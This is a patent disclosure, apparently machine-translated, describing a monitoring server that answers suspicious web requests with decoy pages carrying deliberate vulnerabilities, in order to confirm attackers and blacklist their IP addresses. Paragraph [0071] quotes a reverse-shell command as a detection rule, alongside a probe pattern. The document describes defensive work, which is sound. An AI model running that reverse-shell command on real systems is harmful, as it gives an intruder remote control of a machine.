Interactive attack confirmation methods, apparatuses, systems, devices, and media

Abstract

The disclosure provides an interactive attack confirmation method, and relates to the field of information security. The method comprises the following steps: intercepting a service access request sent by a user to an application server; performing attack detection on the service access request, wherein the attack detection is used for detecting attack behavior of the user; based on a result of the attack detection, if the service access request hits a specific behavior rule, returning an attack-inducing response page in response to the service access request to perform N times of interactive attack detection on the user. Attack behavior can be analyzed and intercepted in real time, and the response speed is fast. Multiple interactions can improve the accuracy of judgment, greatly improve the attack recognition accuracy while ensuring normal business processing, and improve the real-time defense capability of the defense party as a whole. The disclosure further provides an interactive attack confirmation device, system, equipment, storage medium and program product.

Description

Technical Field

[0001] This disclosure relates to the field of information security, and more specifically, to an interactive attack verification method, apparatus, system, device, medium, and program product. Background Technology

[0002] In network security monitoring scenarios, the complexity of applications can lead to normal business transactions triggering alarms on monitoring devices. To avoid disrupting normal operations, many monitoring devices often allow actions that cannot be confirmed as attacks, potentially overlooking genuine attacks. Currently, compensation solutions for this situation primarily rely on manual verification based on historical traffic patterns after the fact.

[0003] In the process of realizing the inventive concept disclosed herein, the inventors discovered that the related technologies have at least the following problems: the method of confirming attacks after the fact requires a lot of manpower and cannot block attacks in real time during the event, which poses a significant security risk. Summary of the Invention

[0004] In view of the above problems, this disclosure provides an interactive attack confirmation method, apparatus, system, device, medium and program product capable of processing suspected attack behavior in real time.

[0005] One aspect of this disclosure provides an interactive attack confirmation method, comprising: intercepting a user's business access request sent to an application server; performing attack detection on the business access request, wherein the attack detection is used to detect the user's attack behavior; based on the result of the attack detection, if the business access request hits a specific behavior rule, returning an attack inducement response page in response to the business access request, so as to perform N interactive attack detections on the user, wherein N is an integer greater than or equal to 1, and the attack inducement response page has an attackable vulnerability.

[0006] According to an embodiment of this disclosure, the step of performing N interactive attack detections on the user includes: repeatedly executing the following steps until N times or a predetermined condition is met, intercepting the attack inducement request sent by the user to the application server, wherein the attack inducement request includes an access request sent by the user in response to the attack inducement response page; performing the attack detection on the attack inducement request; and if the attack inducement request matches a specific behavior rule, returning the attack inducement response page in response to the attack inducement request.

[0007] According to embodiments of this disclosure, the predetermined conditions include confirming that the attack inducement request hits the attack condition, or confirming that the attack inducement request does not hit the attack condition. If the attack inducement request hits the attack behavior rule, the user's IP address is added to the blacklist database, and the loop ends; or if the attack inducement request does not hit the attack behavior rule and the specific behavior rule, it is confirmed that the attack behavior does not exist, and the loop ends.

[0008] According to an embodiment of this disclosure, before each return to the attack inducement response page, the method further includes: randomly selecting an attack inducement response page from an attack test library, wherein the attack test library includes M attack inducement response pages, each attack inducement response page having different exploitable vulnerabilities.

[0009] According to embodiments of this disclosure, after intercepting a user's business access request sent to an application server, the method further includes: storing the business access prevention request based on the user's user identifier; if the business access prevention request matches the specific behavior rule, performing the N interactive attack detections based on the user identifier.

[0010] According to an embodiment of this disclosure, if it is confirmed that no attack behavior exists, the method further includes: sending the service access request to the application server.

[0011] According to embodiments of this disclosure, the attack detection of the service access request or the attack inducement request includes: matching the service access request or the attack inducement request using an attack testing library, wherein the attack testing library includes attack behavior rules and the specific behavior rules; and / or performing at least one of the following detection steps: matching the user's IP address with at least one whitelisted address in a whitelist library, wherein the at least one whitelisted address is used to directly allow the service access request; matching the user's IP address with at least one blacklisted address in a blacklist library, wherein the at least one blacklisted address is used to directly block the service access request.

[0012] Another aspect of this disclosure provides an interactive attack confirmation device, comprising: a request interception module for intercepting a user's business access request sent to an application server; an attack detection module for performing attack detection on the business access request, wherein the attack detection is used to detect the user's attack behavior; and an attack inducement module for, based on the result of the attack detection, if the business access request matches a specific behavior rule, returning an attack inducement response page in response to the business access request to perform N interactive attack detections on the user, wherein N is an integer greater than or equal to 1, and the attack inducement response page has an attackable vulnerability.

[0013] Another aspect of this disclosure provides an interactive attack confirmation system, comprising: a client, configured to send a service access request to an application server in response to a user's operation; a monitoring server, configured to execute the interactive attack confirmation method described above, and, if it is confirmed that the user has not engaged in any attack behavior, send the service access request to the application server; and the application server, configured to receive the service access request sent by the monitoring server.

[0014] Another aspect of this disclosure provides an electronic device, including: one or more processors; and a storage device for storing one or more programs, wherein when the one or more programs are executed by the one or more processors, the one or more processors perform the method as described above.

[0015] Another aspect of this disclosure provides a computer-readable storage medium having executable instructions stored thereon, which, when executed by a processor, cause the processor to perform the method described above.

[0016] Another aspect of this disclosure provides a computer program product, including a computer program that, when executed by a processor, implements the method described above.

[0017] The above one or more embodiments have the following beneficial effects: First, they intercept business access requests before the application server receives them. Secondary or multiple attack induction confirmations are performed on suspected attack traffic that triggers alarms based on specific behavioral rules, determining whether the access request is an attack. This allows for real-time analysis and interception of attack behavior with a fast response time. Multiple interactions improve the accuracy of the judgment, significantly increasing the attack identification accuracy while ensuring normal business processing, thus enhancing the overall real-time defense capabilities of the defender. Attached Figure Description

[0018] The foregoing contents, as well as other objects, features, and advantages of this disclosure, will become clearer from the following description of embodiments with reference to the accompanying drawings, in which:

[0019] Figure 1 This illustration schematically shows the architecture of an interactive attack verification system according to an embodiment of the present disclosure;

[0020] Figure 2 This schematically illustrates a structural block diagram of an attack determination module according to an embodiment of the present disclosure;

[0021] Figure 3 This schematic diagram illustrates the structural block diagram of an interaction module according to an embodiment of the present disclosure;

[0022] Figure 4A flowchart illustrating an interactive attack verification method according to an embodiment of this disclosure is shown schematically.

[0023] Figure 5 A flowchart illustrating attack detection based on user identifiers according to an embodiment of this disclosure is shown schematically;

[0024] Figure 6 A flowchart illustrating interactive attack detection according to an embodiment of this disclosure is shown schematically;

[0025] Figure 7 A flowchart illustrating attack detection according to an embodiment of this disclosure is shown schematically;

[0026] Figure 8 A flowchart illustrating an interactive attack verification method according to another embodiment of the present disclosure is shown schematically;

[0027] Figure 9 A schematic diagram illustrating the structure of an interactive attack verification apparatus according to embodiments of the present disclosure is shown; and

[0028] Figure 10 A block diagram schematically illustrates an electronic device suitable for implementing an interactive attack method according to an embodiment of the present disclosure. Detailed Implementation

[0029] The embodiments of the present disclosure will now be described with reference to the accompanying drawings. However, it should be understood that these descriptions are exemplary only and are not intended to limit the scope of the disclosure. In the following detailed description, numerous specific details are set forth to provide a thorough understanding of the embodiments of the present disclosure for ease of explanation. However, it will be apparent that one or more embodiments may be practiced without these specific details. Furthermore, descriptions of well-known structures and techniques are omitted in the following description to avoid unnecessarily obscuring the concepts of the present disclosure.

[0030] The terminology used herein is for the purpose of describing particular embodiments only and is not intended to limit this disclosure. The terms “comprising,” “including,” etc., as used herein indicate the presence of the stated features, steps, operations, and / or components, but do not exclude the presence or addition of one or more other features, steps, operations, or components.

[0031] All terms used herein (including technical and scientific terms) have the meanings commonly understood by those skilled in the art, unless otherwise defined. It should be noted that the terms used herein are to be interpreted in a manner consistent with the context of this specification, and not in an idealized or overly rigid way.

[0032] When using expressions such as "at least one of A, B, and C", they should generally be interpreted in accordance with the meaning that is commonly understood by a person skilled in the art (e.g., "a system having at least one of A, B, and C" should include, but is not limited to, a system having A alone, a system having B alone, a system having C alone, a system having A and B, a system having A and C, a system having B and C, and / or a system having A, B, and C, etc.).

[0033] Figure 1 An architectural diagram of an interactive attack verification system according to an embodiment of this disclosure is illustrated. Figure 2 A schematic block diagram of an attack determination module according to an embodiment of the present disclosure is shown. Figure 3 A schematic block diagram of an interactive module according to an embodiment of the present disclosure is shown.

[0034] like Figure 1 As shown, the interactive attack confirmation system 100 according to this embodiment may include a client 101, a monitoring server 102, and an application server 103. The monitoring server 102 may include a list database judgment module 104, an attack judgment module 105, an interaction module 106, and an attack blocking module 107. The monitoring server 102 is connected in series in the link between the client 101 and the application server 103, and can capture the access traffic from the client 101 to the application server 103 in real time.

[0035] According to embodiments of this disclosure, client 101 sends a service access request to application server 103 in response to a user's operation. Monitoring server 102 intercepts the service access request and performs attack detection on it. Based on the attack detection results, if the service access request matches a specific behavior rule, an attack inducement response page is returned in response to the service access request to perform N interactive attack detections on the user, where N is an integer greater than or equal to 1, and the attack inducement response page has an exploitable vulnerability. If it is confirmed that the user has not engaged in any attack behavior, the service access request is sent to application server 103. Application server 103 receives the service access request sent by monitoring server 102.

[0036] For example, the list database judgment module 104 may include a whitelist database and a blacklist database. The whitelist fields include "Access IP Address (Internet Protocol Address)," "Triggered Attack Alarm Name," "Entry Time," and "Effective Expiration Time," where the "Effective Expiration Time" can be defined as 12 hours (for example only). After the expiration time, the information is automatically deleted. If the user triggers an alarm again, they need to re-verify before entering the whitelist database. IPs involved in the whitelist database will no longer be blocked when accessing the application. The blacklist database fields include "Access IP," "Triggered Attack Alarm Name," and "Entry Time." Based on real-time interception, the blacklist database adds IP addresses that have been identified as having attack behavior to the blacklist database. If a subsequent request is received from an IP in the blacklist database, it will be directly blocked.

[0037] For example, refer to Figure 2 The attack judgment module 107 may include an information collection unit 201 and an analysis and judgment unit 202. The information collection unit 201 can collect attack-related data from traffic information, including request URLs, request methods, request bodies, request headers, etc., and simultaneously record the five-tuple data of the traffic packets. The analysis and judgment unit 202 can perform regular expression matching on the traffic data collected by the information collection unit 201 based on a built-in rule base. If an attack characteristic is matched, it is directly sent to the attack blocking module 106 for interception; if a suspected attack characteristic is matched, it is further sent to the interaction module 106 for secondary confirmation of the attack behavior.

[0038] For example, refer to Figure 3 The interaction module 106 may include an information storage unit 301 and a test response unit 302. The information storage unit 301 stores the user's original request information. Since the monitoring server is deployed before the application server, it can take over all traffic of the application server. When a user inquires and it is determined that there is an attack risk in their traffic, it records the user's request information. Then, if it is determined that the user does not have any attack behavior, it sends the previously recorded request information to the application server, collects the response information, and then sends it back to the user to continue providing the original business services. The test response unit 302 performs interactive attack confirmation based on a pre-set attack test library.

[0039] For example, the attack blocking module 107 can block attack traffic determined by the attack judgment module 105, and at the same time add the corresponding "accessing IP" and "triggered attack alarm name" to the blacklist database so as to block all subsequent access requests from that IP. Access traffic from IPs in the blacklist will not be blocked again unless security personnel manually unblock them.

[0040] It should be noted that the interactive attack confirmation method provided in this embodiment can generally be executed by the monitoring server 102. Correspondingly, the interactive attack confirmation device provided in this embodiment can generally be located in the monitoring server 102. The interactive attack confirmation method provided in this embodiment can also be executed by a server or server cluster that communicates with the monitoring server 102. Correspondingly, the interactive attack confirmation device provided in this embodiment can also be located in a server or server cluster that communicates with the monitoring server 102.

[0041] It should be understood that Figure 1 The number of clients, monitoring servers, and application servers shown is merely illustrative. Monitoring servers and application servers can be deployed centrally or in a distributed manner. Depending on implementation needs, there can be any number of clients, monitoring servers, and application servers.

[0042] The following will refer to Figure 1 The system described, through Figures 2-8 The interactive attack verification method of the present disclosure embodiments will be described in detail.

[0043] Figure 4 A flowchart illustrating an interactive attack verification method according to an embodiment of this disclosure is shown schematically.

[0044] like Figure 4 As shown, the interactive attack verification in this embodiment includes operations S410 to S430.

[0045] When operating S410, intercept the business access requests sent by the user to the application server.

[0046] For example, refer to Figure 1 Users can use client 101 installed on terminal devices (such as mobile phones, desktop computers, laptops, etc.) to send business access requests to application server 103. This request can be an HTTP request. Before application server 103 receives the request, monitoring server 102 pre-captures business access traffic (multiple business access requests forming traffic).

[0047] When operating the S420, attack detection is performed on business access requests, whereby attack detection is used to detect user attack behavior.

[0048] For example, an attack includes any type of offensive action against a computer information system, infrastructure, computer network, or personal computer device. For computers and computer networks, acts such as damaging, disclosing, modifying, or disabling software or services, or stealing or accessing data on any computer without authorization, are considered attacks on computers and computer networks. Attack detection includes the use of network technologies capable of detecting abnormal or illegal activity on a network.

[0049] When operating S430, based on the attack detection results, if a business access request hits a specific behavior rule, an attack inducement response page is returned in response to the business access request to perform N interactive attack detections on the user, where N is an integer greater than or equal to 1, and the attack inducement response page has an attackable vulnerability.

[0050] For example, if the attack detection result indicates that the business access request is a normal request, it is allowed to proceed to the application server. If the attack detection result indicates that the business access request is an attack request, it is blocked directly.

[0051] For example, a specific behavioral rule may include one or more high-risk behavioral rules. These high-risk behavioral rules refer to situations where existing detection equipment or systems cannot fully confirm the existence of an attack; related technologies generally do not directly block such attacks but instead adopt a permission-only strategy. The attack-inducing response page uses exploitable vulnerabilities to induce users to launch network attacks, thereby further enabling attack detection during subsequent user interactions. Exploitable vulnerabilities include flaws in the software code that allow attackers to access the network or system without permission to carry out their attack activities.

[0052] According to embodiments of this disclosure, the application server first intercepts business access requests before receiving them. Through attack detection, suspected attack traffic that triggers alarms based on specific behavioral rules is subjected to secondary or multiple attack inducements for confirmation, determining whether the access request constitutes an attack. This allows for real-time analysis and interception of attack behavior with a fast response time. Multiple interactions improve the accuracy of the judgment, significantly increasing the attack identification accuracy while ensuring normal business processing, thus enhancing the defender's overall real-time defense capabilities.

[0053] Figure 5 A flowchart illustrating attack detection based on user identifiers according to an embodiment of this disclosure is shown schematically.

[0054] After intercepting the user's business access request sent to the application server in the S410 operation, such as Figure 5 As shown, this embodiment performs attack detection based on user identifiers, including operations S510 to S520.

[0055] When operating S510, access requests for storage services are based on the user's user identity.

[0056] For example, refer to Figure 3 The information storage unit 301 can parse user identifiers (such as account, cookie, or UID) from the business access request and save the user's original request information, i.e., the business access request. In some embodiments, all intercepted traffic can be stored. In other embodiments, storage can be performed when a specific behavior rule is hit, which can save storage space.

[0057] When operating S520, if a business access request matches a specific behavior rule, N interactive attack detections are performed based on the user identifier.

[0058] Because monitoring server 102 may receive requests from multiple clients, when multiple business access requests hit specific behavior rules, a unique user identifier can be used to form a mapping relationship between the original request information and the interactive attack detection during the interactive attack detection process, so as to accurately process the original request information when it is finally confirmed whether the attack behavior exists.

[0059] Figure 6 A flowchart illustrating interactive attack detection according to an embodiment of this disclosure is shown schematically.

[0060] like Figure 6 As shown, the interactive attack detection in this embodiment includes repeatedly executing operations S610 to S660 until the loop is repeated N times or a predetermined condition is met.

[0061] When operating S610, intercept attack inducement requests sent by users to the application server. These attack inducement requests include access requests sent by users in response to attack inducement response pages.

[0062] For example, an attack inducement request can be an HTTP request. The difference between an attack inducement request and a business access request is that an attack inducement request is a request sent by the client when the user performs corresponding actions based on the attack inducement page. The attack inducement page can be displayed to the user in the form of a verification page, such as a swipe verification, a verification code input, or a mobile phone verification code.

[0063] When operating the S620, attack detection is performed on attack-induced requests.

[0064] For example, the same attack detection can be performed on attack-induced requests as on business access requests. In some embodiments, attack detection can also be performed on different content. Specifically, exploitable vulnerabilities in the attack-induced page corresponding to the attack-induced request can be obtained, and targeted attack detection rules can be applied to these vulnerabilities. For example, only the aforementioned targeted attack detection rules can be executed, or the aforementioned targeted attack detection rules can be further added to the attack detection rules performed on business access requests.

[0065] When operating S630, if an attack inducement request matches a specific behavior rule, the attack inducement response page is returned in response to the attack inducement request.

[0066] According to embodiments of this disclosure, before each return to the attack inducement response page, the method further includes: randomly selecting the attack inducement response page for that time from an attack test library, wherein the attack test library includes M attack inducement response pages, each attack inducement response page having a different exploitable vulnerability.

[0067] For example, a pre-configured attack testing library may include a file upload vulnerability testing library, an SQL1 injection vulnerability testing library, and a command execution vulnerability testing library, etc. (See reference...) Figure 3 When the test response unit 302 performs interactive attack confirmation, it randomly selects a page with obvious vulnerabilities to induce the user to attempt an attack. This random selection is primarily to prevent hackers from recognizing attack detection patterns. If a hacker triggers a fixed attack inducement page every time they send an attack payload, it becomes easy to identify such protection and attempt targeted bypasses. If a malicious user is probing, more obvious attack traffic will likely be sent. If the regular expression matches the corresponding attack attempt, the attack blocking module 107 will block further access from that IP. Conversely, if no attack characteristics are found in one or more attack inducements, it is considered a normal user operating the business system, and the "accessing IP" can be added to the whitelist.

[0068] When operating S640, if it is confirmed that the attack inducement request matches the attack behavior rule, the user's IP address is added to the blacklist database, and the loop ends.

[0069] For example, attack behavior rules are used to detect attack features in attack inducement requests. When attack features are found, it can be confirmed that an attack has occurred.

[0070] When operating the S650, if it is confirmed that the attack inducement request did not match the attack behavior rules and specific behavior rules, and it is confirmed that no attack behavior exists, the loop ends. The user's IP address is added to the whitelist.

[0071] Taking command execution vulnerabilities as an example, if the attack behavior rule `bash -i > / dev / tcp / ip / port 0 > &12 > $1` is matched, it is a confirmed attack behavior and is directly blocked. However, if the request contains the words `touch / tmp` (a specific behavior rule), it indicates a possible attack probe. Since this command does not actually pose an attack risk, but could be either an attack behavior or a business function, further judgment is needed. In this scenario, the request is sent to the interaction module for secondary confirmation of the attack behavior.

[0072] According to embodiments of this disclosure, by monitoring traffic in real time through different types of rules, each risky access request can be handled comprehensively and accurately, avoiding the situation in related technologies where suspected attack requests are allowed to pass through, which may lead to attacks.

[0073] In operation S660, confirm whether the current loop is the Nth iteration. If yes, end the loop. If not, re-execute operation S610.

[0074] For example, the maximum number of interactive verifications here can be flexibly configured, or the system can have a built-in default value, such as allowing access if no confirmed attack characteristics are found after three interactions.

[0075] According to embodiments of this disclosure, if it is confirmed that no attack behavior exists after the loop ends, the method further includes: sending a business access request to the application server.

[0076] For example, if the test response unit 302 determines that the user does not have any attack behavior after completing the maximum number of interaction verifications, even though each request is suspected of being an attack request (hitting a specific behavior rule), the user's original request information stored in the user identifier extraction information storage unit 301 is resent, the original normal response message of the user is obtained and returned, and the original business services are continued to be provided to the user to ensure the normal operation of the original business.

[0077] For example, attack inducement requests and business access requests are handled differently. Attack inducement requests are used to induce potential malicious users to launch attack behaviors, while business access requests are used for users to request normal business processing. For example, in the Nth loop, if the attack inducement request does not hit the attack behavior rule and / or the specific behavior rule, or hits the specific behavior rule, the attack inducement request can be discarded, and the business access request can be allowed.

[0078] Figure 7 A flowchart illustrating attack detection according to an embodiment of this disclosure is shown schematically.

[0079] like Figure 7As shown, attack detection in operation S420 or operation S620 includes operations S710 to S770.

[0080] When operating the S710, the user's IP address is matched with at least one whitelisted address in the whitelist database. At least one whitelisted address is used to directly allow business access requests.

[0081] In operation S720, determine whether the user's IP address is a whitelisted address. If yes, proceed to operation S730. If not, proceed to operation S740.

[0082] When operating the S730, business access requests are directly allowed to the application server.

[0083] When operating the S740, the user's IP address is matched against at least one blacklisted address in the blacklist database. At least one blacklisted address is used to directly block service access requests.

[0084] In operation S750, determine whether the user's IP address is on the blacklist. If yes, proceed to operation S760. If no, proceed to operation S770.

[0085] When operating the S760, blocking service access requests.

[0086] When operating the S770, the attack testing library is used to match business access requests or attack inducement requests. The attack testing library includes attack behavior rules and specific behavior rules.

[0087] According to embodiments of this disclosure, all traffic first passes through a monitoring server. The first step is for the list database judgment module 104 to determine whether the attacking IP matches the built-in blacklist or whitelist, performing the first round of attack filtering. Then, the attack judgment module 105 performs a second judgment on the traffic characteristics, filtering out traffic with suspected attack characteristics using regular expression matching. Traffic determined to be an attack is directly sent to the attack blocking module 107 for blocking. For access requests whose attack behavior is uncertain, they are sent to the interaction module 106, which responds with a misleading page. If the attacker is present, they are likely to perform more obvious attack operations on the new response page. If further attack behavior is detected in the new traffic, it is sent to the attack blocking module for blocking. For requests that still cannot be accurately determined to be attacks, multiple interactive verifications can be performed until the risk is finally confirmed.

[0088] According to embodiments of this disclosure, by combining a whitelist or blacklist with an attack testing library, the efficiency and accuracy of attack detection can be improved.

[0089] It should be noted that the order of matching the whitelist, blacklist, and attack test database is not limited to the descriptions in Operations S710 to S770. The order can be flexibly adjusted according to actual needs.

[0090] Figure 8 A flowchart illustrating an interactive attack verification method according to another embodiment of this disclosure is shown.

[0091] like Figure 8 As shown, the interactive attack verification method of this embodiment includes operations S801 to S808.

[0092] Operation S801: Connect the monitoring server to the network environment to capture business traffic in real time.

[0093] Operation S802: Check if the access IP is in the whitelist database. If it is, allow the request and forward it to the target application server (the monitoring server may correspond to multiple application servers).

[0094] Operation S803: Otherwise, check if the accessing IP is in the blacklist database. If it is, drop the packet and block the request.

[0095] S804 Operation: Otherwise, use the attack testing library to determine if the request traffic matches the attack characteristics. If no rule is matched, allow the request directly and forward it to the target application server. If the attack rule is matched, block the request directly and record it in the IP blacklist.

[0096] In some embodiments, if neither the attack signature nor the suspected attack signature is matched, the loop can be terminated and the original request information can be allowed to proceed.

[0097] Operation S805: If the high-risk behavior rule is not hit, store the user's original request information.

[0098] Here, "miss" can refer to missing the attack characteristics in the attack behavior rules, but missing the suspected attack characteristics in the specific behavior rules.

[0099] Operation S806: Randomly select an attack response page from the attack test database and send it to the user.

[0100] Operation S807: Determine if the attack request in the secondary interaction contains attack characteristics. If it does, block the request directly and record it in the IP blacklist. If it still contains high-risk behavior, return to operation S806 to randomly select a response page and send it to the user, performing three interactions.

[0101] In some embodiments, if neither the attack signature nor the suspected attack signature is matched in a certain loop, the loop can be terminated and the original request information can be allowed. In other embodiments, even if neither the attack signature nor the suspected attack signature is matched in a certain loop, the next loop can continue to be executed because a suspected attack request existed in that interaction.

[0102] Operation S808: If no attack behavior is detected during the interaction test and the maximum number of interactions is reached, the original user request information stored in Operation S805 is retrieved, normal business traffic is responded to, and a whitelist is recorded. The IP will not be subject to attack judgment for a period of time.

[0103] According to embodiments of this disclosure, to effectively eliminate false alarms and accurately identify and block attack behaviors, for traffic monitored in related technologies that cannot be confirmed as attack behavior, embodiments of this disclosure perform secondary or multiple packet return operations to trigger interactive verification. If the verification passes, the user is judged to be a normal user; if it fails, it is judged to be an attack behavior, and the IP is blocked. This allows for real-time interception of attack behaviors, greatly improving the accuracy of the protection device's judgment and the real-time nature of attack interception.

[0104] Based on the above-described interactive attack verification method, this disclosure also provides an interactive attack verification device. The following will be combined with... Figure 9 The device is described in detail.

[0105] Figure 9 A schematic block diagram of an interactive attack verification apparatus according to an embodiment of the present disclosure is shown.

[0106] like Figure 9 As shown, the interactive attack confirmation device 900 of this embodiment includes a request interception module 910, an attack detection module 920, and an attack induction module 930.

[0107] The request interception module 910 can perform operation S410 to intercept business access requests sent by users to the application server.

[0108] The attack detection module 920 can perform operation S420 to perform attack detection on business access requests, whereby attack detection is used to detect user attack behavior.

[0109] For example, the attack detection module 920 can function similarly to the list database judgment module 104 and the attack judgment module 105. The attack detection module 920 can implement the judgment content of the list database judgment module 104 and the attack judgment module 105.

[0110] For example, the attack detection module 920 can perform operations S510 to S520 to store the service access request based on the user's user identifier after intercepting the service access request sent by the user to the application server. If the service access request matches a specific behavior rule, N interactive attack detections are performed based on the user identifier.

[0111] For example, the attack detection module 920 can randomly select an attack-induced response page from an attack testing library, wherein the attack testing library includes M attack-induced response pages, each with a different exploitable vulnerability. Operations S710 to S770 can also be performed to match service access requests or attack-induced requests using the attack testing library, which includes attack behavior rules and specific behavior rules. And / or at least one of the following detection steps can be performed: matching the user's IP address with at least one whitelisted address in a whitelist library, where at least one whitelisted address is used to directly allow service access requests; matching the user's IP address with at least one blacklisted address in a blacklist library, where at least one blacklisted address is used to directly block service access requests.

[0112] The attack inducement module 930 can perform operation S430, which is used to return an attack inducement response page in response to the business access request if the business access request hits a specific behavior rule based on the attack detection result, so as to perform N interactive attack detections on the user, where N is an integer greater than or equal to 1, and the attack inducement response page has an attackable vulnerability.

[0113] For example, the attack induction module 930 can function similarly to the interaction module 105. The attack induction module 930 can implement the interaction process of the interaction module 105.

[0114] The attack induction module 930 can execute operations S610 to S660, which will not be described in detail.

[0115] For example, the interactive attack confirmation device 900 may also include an attack blocking module 107.

[0116] For example, the interactive attack confirmation device 900 may further include a request release module, which sends a business access request to the application server if it is confirmed that no attack behavior exists.

[0117] It should be noted that the implementation methods, technical problems solved, functions achieved, and technical effects of each module / unit / subunit in the device embodiments are the same as or similar to the implementation methods, technical problems solved, functions achieved, and technical effects of each corresponding step in the method embodiments, and will not be repeated here.

[0118] According to embodiments of this disclosure, any multiple modules among the request interception module 910, attack detection module 920, and attack inducement module 930 can be combined into one module, or any one of these modules can be split into multiple modules. Alternatively, at least some of the functions of one or more of these modules can be combined with at least some of the functions of other modules and implemented in one module.

[0119] According to embodiments of this disclosure, at least one of the request interception module 910, attack detection module 920, and attack inducement module 930 can be at least partially implemented as hardware circuitry, such as a field-programmable gate array (FPGA), a programmable logic array (PLA), a system-on-a-chip, a system-on-a-substrate, a system-on-package, an application-specific integrated circuit (ASIC), or any other reasonable means of integrating or packaging circuitry, or implemented in software, hardware, or firmware, or in any suitable combination of any of these three methods. Alternatively, at least one of the request interception module 910, attack detection module 920, and attack inducement module 930 can be at least partially implemented as a computer program module, which, when run, can perform corresponding functions.

[0120] Figure 10 A block diagram schematically illustrates an electronic device suitable for implementing an interactive attack method according to an embodiment of the present disclosure.

[0121] like Figure 10 As shown, an electronic device 1000 according to an embodiment of the present disclosure includes a processor 1001, which can perform various appropriate actions and processes according to a program stored in a read-only memory (ROM) 1002 or a program loaded from a storage portion 1008 into a random access memory (RAM) 1003. The processor 1001 may include, for example, a general-purpose microprocessor (e.g., a CPU), an instruction set processor and / or an associated chipset and / or a special-purpose microprocessor (e.g., an application-specific integrated circuit (ASIC)), etc. The processor 1001 may also include onboard memory for caching purposes. The processor 1001 may include a single processing unit or multiple processing units for performing different actions of the method flow according to an embodiment of the present disclosure.

[0122] RAM 1003 stores various programs and data required for the operation of electronic device 1000. Processor 1001, ROM 1002, and RAM 1003 are interconnected via bus 1004. Processor 1001 performs various operations of the method flow according to embodiments of the present disclosure by executing programs in ROM 1002 and / or RAM 1003. It should be noted that programs may also be stored in one or more memories other than ROM 1002 and RAM 1003. Processor 1001 may also perform various operations of the method flow according to embodiments of the present disclosure by executing programs stored in one or more memories.

[0123] According to embodiments of this disclosure, the electronic device 1000 may further include an input / output (I / O) interface 1005, which is also connected to a bus 1004. The electronic device 1000 may also include one or more of the following components connected to the I / O interface 1005: an input section 1006 including a keyboard, mouse, etc.; an output section 1007 including a cathode ray tube (CRT), liquid crystal display (LCD), etc., and a speaker, etc.; a storage section 1008 including a hard disk, etc.; and a communication section 1009 including a network interface card such as a LAN card, modem, etc. The communication section 1009 performs communication processing via a network such as the Internet. A drive 1010 is also connected to the I / O interface 1005 as needed. A removable medium 1011, such as a disk, optical disk, magneto-optical disk, semiconductor memory, etc., is installed on the drive 1010 as needed so that computer programs read from it can be installed into the storage section 1008 as needed.

[0124] This disclosure also provides a computer-readable storage medium, which may be included in the device / apparatus / system described in the above embodiments, or it may exist independently and not assembled into the device / apparatus / system. The computer-readable storage medium carries one or more programs that, when executed, implement the method according to the embodiments of this disclosure.

[0125] According to embodiments of this disclosure, the computer-readable storage medium may be a non-volatile computer-readable storage medium, such as including, but not limited to: portable computer disks, hard disks, random access memory (RAM), read-only memory (ROM), erasable programmable read-only memory (EPROM or flash memory), portable compact disk read-only memory (CD-ROM), optical storage devices, magnetic storage devices, or any suitable combination thereof. In this disclosure, the computer-readable storage medium may be any tangible medium that contains or stores a program that can be used by or in conjunction with an instruction execution system, apparatus, or device. For example, according to embodiments of this disclosure, the computer-readable storage medium may include ROM 1002 and / or RAM 1003 and / or one or more memories other than ROM 1002 and RAM 1003 described above.

[0126] Embodiments of this disclosure also include a computer program product comprising a computer program containing program code for performing the methods shown in the flowchart. When the computer program product is run on a computer system, the program code is used to cause the computer system to implement the methods provided in the embodiments of this disclosure.

[0127] When the computer program is executed by the processor 1001, it performs the functions defined in the system / apparatus of this disclosure embodiments. According to embodiments of this disclosure, the systems, apparatuses, modules, units, etc., described above can be implemented by computer program modules.

[0128] In one embodiment, the computer program may rely on a tangible storage medium such as an optical storage device or a magnetic storage device. In another embodiment, the computer program may also be transmitted and distributed in the form of signals over a network medium, and may be downloaded and installed via the communication section 1009, and / or installed from a removable medium 1011. The program code contained in the computer program can be transmitted using any suitable network medium, including but not limited to: wireless, wired, etc., or any suitable combination thereof.

[0129] In such an embodiment, the computer program can be downloaded and installed from a network via communication section 1009, and / or installed from removable medium 1011. When the computer program is executed by processor 1001, it performs the functions defined in the system of this disclosure embodiment. According to embodiments of this disclosure, the systems, devices, apparatuses, modules, units, etc., described above can be implemented by computer program modules.

[0130] According to embodiments of this disclosure, program code for executing the computer programs provided in embodiments of this disclosure can be written in any combination of one or more programming languages. Specifically, these computational programs can be implemented using high-level procedural and / or object-oriented programming languages, and / or assembly / machine languages. Programming languages ​​include, but are not limited to, languages ​​such as Java, C++, Python, "C", or similar programming languages. The program code can execute entirely on the user's computing device, partially on the user's device, partially on a remote computing device, or entirely on a remote computing device or server. In cases involving remote computing devices, the remote computing device can be connected to the user's computing device via any type of network, including a local area network (LAN) or a wide area network (WAN), or it can be connected to an external computing device (e.g., via the Internet using an Internet service provider).

[0131] The flowcharts and block diagrams in the accompanying drawings illustrate the architecture, functionality, and operation of possible implementations of systems, methods, and computer program products according to various embodiments of this disclosure. In this regard, each block in a flowchart or block diagram may represent a module, segment, or portion of code containing one or more executable instructions for implementing a specified logical function. It should also be noted that in some alternative implementations, the functions indicated in the blocks may occur in a different order than those indicated in the drawings. For example, two consecutively indicated blocks may actually be executed substantially in parallel, and they may sometimes be executed in reverse order, depending on the functions involved. It should also be noted that each block in a block diagram or flowchart, and combinations of blocks in a block diagram or flowchart, may be implemented using a dedicated hardware-based system that performs the specified function or operation, or using a combination of dedicated hardware and computer instructions.

[0132] Those skilled in the art will understand that the features described in the various embodiments and / or claims of this disclosure can be combined or combined in various ways, even if such combinations or combinations are not explicitly described in this disclosure. In particular, the features described in the various embodiments and / or claims of this disclosure can be combined or combined in various ways without departing from the spirit and teachings of this disclosure. All such combinations and / or combinations fall within the scope of this disclosure.

[0133] The embodiments of this disclosure have been described above. However, these embodiments are for illustrative purposes only and are not intended to limit the scope of this disclosure. Although various embodiments have been described above, this does not mean that the measures in the various embodiments cannot be used advantageously in combination. The scope of this disclosure is defined by the appended claims and their equivalents. Various substitutions and modifications can be made by those skilled in the art without departing from the scope of this disclosure, and all such substitutions and modifications should fall within the scope of this disclosure.

Claims

